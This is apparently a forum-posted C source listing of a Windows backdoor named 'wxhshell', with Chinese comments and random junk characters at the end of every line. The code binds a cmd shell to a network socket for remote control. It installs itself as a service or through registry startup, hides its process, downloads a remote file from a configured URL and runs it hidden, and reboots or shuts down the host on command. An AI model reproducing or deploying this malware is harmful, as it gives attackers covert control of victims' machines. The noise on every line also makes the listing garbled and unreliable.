  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R-iWbLD  
  } dZkKAK:v  
  else { 1'&HmBfcb  
R SWw4}  
    switch(cmd[0]) { ~r})&`5  
  y9i+EV  
  // 帮助 X+\=dhn69  
  case '?': { #Ph8 ?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?` ebi|6  
    break; KCa @0  
  } um". Z4S  
  // 安装 T.{]t6t$U  
  case 'i': { HD$ r<bl  
    if(Install()) m=iKu(2xRq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HN;f~EQT  
    else +4IaX1.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P|fh4b4  
    break; N- <,wUxf  
    } ?6\A$?  
  // 卸载 @v6{U?  
  case 'r': { ~2Mcw`<  
    if(Uninstall()) ?ODBW/{[G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R6GlQ G  
    else bV)h\:oC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F&+_z&n)  
    break; 0x,4H30t(  
    } }lx'NY~(W  
  // 显示 wxhshell 所在路径 }vF=XA  
  case 'p': { p7Yb8#XfU  
    char svExeFile[MAX_PATH]; +q432ZG  
    strcpy(svExeFile,"\n\r"); ZQ\O| n8  
      strcat(svExeFile,ExeFile); Z2]\k|%<Fa  
        send(wsh,svExeFile,strlen(svExeFile),0); ZOJ7 ^g  
    break; ,/p .!+  
    } )q{e L$  
  // 重启 v~!_DD au  
  case 'b': { CfOhk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <HW2W"Go\  
    if(Boot(REBOOT)) 8f&#WIZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,p@ee$q  
    else { 'A/{7*,  
    closesocket(wsh); Co<F<eXe  
    ExitThread(0); B]#iZ,Tp  
    } #@M'*X_%}K  
    break; Ao9=TC'v$'  
    } riglEA[^  
  // 关机 FePWr7Ze  
  case 'd': { RDqQ6(e"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :WSszak  
    if(Boot(SHUTDOWN)) OOz;/kay  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<8o!=Tb5  
    else { @A%\;o o  
    closesocket(wsh); #@uF?8u  
    ExitThread(0); %SMP)4Y/R  
    } fdKTj =4  
    break; ot^$/(W  
    } Eo <N  
  // 获取shell @7Nc*-SM  
  case 's': { 'yAHB* rQR  
    CmdShell(wsh); a/q8vP  
    closesocket(wsh); +\B.3%\-  
    ExitThread(0); +227SPLd  
    break; !?{%9  
  } N?%FVF  
  // 退出 kgFx  
  case 'x': { /T<,vR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hQJ-  ~  
    CloseIt(wsh); 2\xEMec  
    break; tjDCfJx*  
    } w}(Ht_6q{  
  // 离开 }~NWOJ3;  
  case 'q': {  {0} Q5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R8u9tTW  
    closesocket(wsh); KSl@V>!_  
    WSACleanup(); yuB\Z/  
    exit(1); 8&y3oxA,  
    break; p@=B\A]  
        } 3)~z~p7  
  } 3%V VG~[  
  } 1GgG9I  
V7Mp<x%  
  // 提示信息 1d~cR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }zwHUf9q1  
} ].*I Z  
  } 9Or  
l:"zYcp%  
  return; 5sF?0P;ln  
} 6[C>"s}Ol  
kD4J{\  
// shell模块句柄 rWzO> v  
int CmdShell(SOCKET sock) [YQ` `  
{ sJcwN.s  
STARTUPINFO si; 6%UhP;(  
ZeroMemory(&si,sizeof(si)); P*8DM3':  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )@.6u9\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UYOR@x #  
PROCESS_INFORMATION ProcessInfo; lJXihr  
char cmdline[]="cmd"; R`emI7|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DWar3+u&0  
  return 0; 0%hOB :  
} !PY.F nZ  
vWpkU<&3|  
// 自身启动模式 A/U,|  
int StartFromService(void) Z^vcODeC$  
{ iN@+,]Yjl  
typedef struct JlN<w  
{ ' +[fJ>Le  
  DWORD ExitStatus; %N-f9o8  
  DWORD PebBaseAddress; Mhj.3nN  
  DWORD AffinityMask; km#Rh^  
  DWORD BasePriority; oSqkAAGz\  
  ULONG UniqueProcessId; 79Si^n1\  
  ULONG InheritedFromUniqueProcessId; K9N\E"6ZP  
}   PROCESS_BASIC_INFORMATION; XnI)s^  
;K<W<v5m0N  
PROCNTQSIP NtQueryInformationProcess; N2S7=`5/T  
roG f &  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n g?kl|VG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _0]{kB.$_  
B[6y2+6$0  
  HANDLE             hProcess; .6nNqGua1  
  PROCESS_BASIC_INFORMATION pbi; lip1wR7  
$P%b?Y/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f^[:w1X$sM  
  if(NULL == hInst ) return 0; 3XomnL{  
#i~2C@]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zkRL'-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `$, \B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z3]ut #`  
")ZsY9-P  
  if (!NtQueryInformationProcess) return 0; F~_)auH  
vT>ki0P_;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F`\7&'I  
  if(!hProcess) return 0; } h pTS_  
Y^W.gGM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $s-HG[lX[  
,k5b,}tN  
  CloseHandle(hProcess); Q:~>$5Em5  
9&uWj'%ia  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (VzabO  
if(hProcess==NULL) return 0; `^7ARr/  
LlfD>cN  
HMODULE hMod; DsP FB q  
char procName[255]; _~b$6Nf!83  
unsigned long cbNeeded; ,| EaW& 2  
=W~K_jE5lo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tp0^dZM+  
Pq:GvM`  
  CloseHandle(hProcess); *q.qO )X}3  
? 3 l4U  
if(strstr(procName,"services")) return 1; // 以服务启动 tv1Z%Mx?Cp  
cp7Rpqg  
  return 0; // 注册表启动 K6Gri>Um  
} fhZD#D  
;0f?-W?1  
// 主模块 'YcoF;&[C  
int StartWxhshell(LPSTR lpCmdLine) gqf*;Z eU  
{ T]tG,W1>i  
  SOCKET wsl; [:!D.@h|  
BOOL val=TRUE; hVAP )"5  
  int port=0; O1_dA%m  
  struct sockaddr_in door; Jj$N3UCg7  
ch%-Cg~%  
  if(wscfg.ws_autoins) Install(); ~~_!&  
DxLN{g]B  
port=atoi(lpCmdLine); pkR+H|  
C r~!N|(  
if(port<=0) port=wscfg.ws_port; ,!RbFME&H  
Iq-+X3i  
  WSADATA data; f;;(Q-.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <"" fJ`7  
D<2|&xaR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .l->O-=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :>K=kZ=k  
  door.sin_family = AF_INET; FM3DJ?\L-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J c~{ E  
  door.sin_port = htons(port); W1 qE,%cx  
^&W(|R-,J&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0{P Rv./`  
closesocket(wsl); mqg[2VTRP  
return 1; fQ^45ulz  
} 2Rp5 E^s  
.7*3V6h=F  
  if(listen(wsl,2) == INVALID_SOCKET) { ~fE6g3  
closesocket(wsl); Lit@ m2{\  
return 1; D:gskK+o6M  
} , LP |M:  
  Wxhshell(wsl); *$ihNX]YG  
  WSACleanup(); ?{ "_9g9  
il \q{Y o  
return 0; *k(>Qsb "  
>~kSe=Hsb4  
} dX0"h5v1  
W7a aL  
// 以NT服务方式启动 1{sfDw[s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /OpVr15  
{ 4q`$nI Bi  
DWORD   status = 0; (\ze T5  
  DWORD   specificError = 0xfffffff; P-?ya!@"  
y/ #{pyJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *jps}uk<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vn`-w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R~$W  
  serviceStatus.dwWin32ExitCode     = 0; fJ3*'(  
  serviceStatus.dwServiceSpecificExitCode = 0; ?=%Q$|]-  
  serviceStatus.dwCheckPoint       = 0; rH9wRY(  
  serviceStatus.dwWaitHint       = 0; _z<y]?q  
Sn\S `D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7B`,q-x.  
  if (hServiceStatusHandle==0) return; y~JCSzpU  
a_UVb'z  
status = GetLastError(); =U6%Wdth  
  if (status!=NO_ERROR) f*VBSg[`  
{ g9fS|T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `JGV3nN  
    serviceStatus.dwCheckPoint       = 0; 2\xv Yf-  
    serviceStatus.dwWaitHint       = 0; >4A~?=  
    serviceStatus.dwWin32ExitCode     = status; ,1"w2,=  
    serviceStatus.dwServiceSpecificExitCode = specificError; '[ZRWwhr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cC.=,n  
    return; LCrE1Q%VP  
  } vxxa,KR/y  
f3>8ZB4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @iZ"I i&+  
  serviceStatus.dwCheckPoint       = 0; GT[,[l  
  serviceStatus.dwWaitHint       = 0; !H`Q^Xf}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BTXS+mvl  
} (Yzy;"iAu  
&^C <J  
// 处理NT服务事件,比如:启动、停止 g7*ii X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l^s\^b=W  
{ qHGXs@*M&  
switch(fdwControl) y`?{ 2#1H  
{ &R54?u^A  
case SERVICE_CONTROL_STOP: s6(iiB%d  
  serviceStatus.dwWin32ExitCode = 0; D{&0r.2F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8#OcrJzC  
  serviceStatus.dwCheckPoint   = 0; c$)Y$@D  
  serviceStatus.dwWaitHint     = 0; nDh]: t=  
  { D:9/;9V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bqwQi>^Cw  
  } ,"PKGd]^  
  return; gWo`i  
case SERVICE_CONTROL_PAUSE: x~Eg ax  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m@hmu}qz-  
  break; WKf->W  
case SERVICE_CONTROL_CONTINUE: K|-?1)Um  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pSQ)DqW  
  break; y9?~^pTx  
case SERVICE_CONTROL_INTERROGATE: !c`K zqP  
  break; x/NR_~Rnk  
}; qRg^Bp'VD#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <_HK@E<_HO  
} gO*:< B g  
v$R+5_@[l  
// 标准应用程序主函数 FhZ^/= As  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xkIRI1*!  
{ x.rOP_rs  
(R _#lRaQ  
// 获取操作系统版本 [C PgfVz  
OsIsNt=GetOsVer(); H[ 6L!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tn-_3C  
m_Owe/BC#m  
  // 从命令行安装 IL?mt2IQ>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~429sT(   
<#U9ih 2  
  // 下载执行文件 sh []OSM  
if(wscfg.ws_downexe) { `C~RA, M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @add'>)  
  WinExec(wscfg.ws_filenam,SW_HIDE); HS{a^c%  
} )J?Nfi%  
V[<]BOM\v  
if(!OsIsNt) { j?&Rf,,%  
// 如果时win9x,隐藏进程并且设置为注册表启动 NZ(c>r6  
HideProc(); MS~c  $  
StartWxhshell(lpCmdLine); C9-IJj  
} 0f.rjd  
else d\Xi1&&  
  if(StartFromService()) rlEp&"+|M  
  // 以服务方式启动 " gB.  
  StartServiceCtrlDispatcher(DispatchTable); ?@U7tNI  
else ].f28bY  
  // 普通方式启动 G3{t{XkV  
  StartWxhshell(lpCmdLine); ;=IC.<Q<}  
$d1+d;Mn  
return 0; =VMV^[&>  
}
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只看该作者 1 发表于: 2006-10-10
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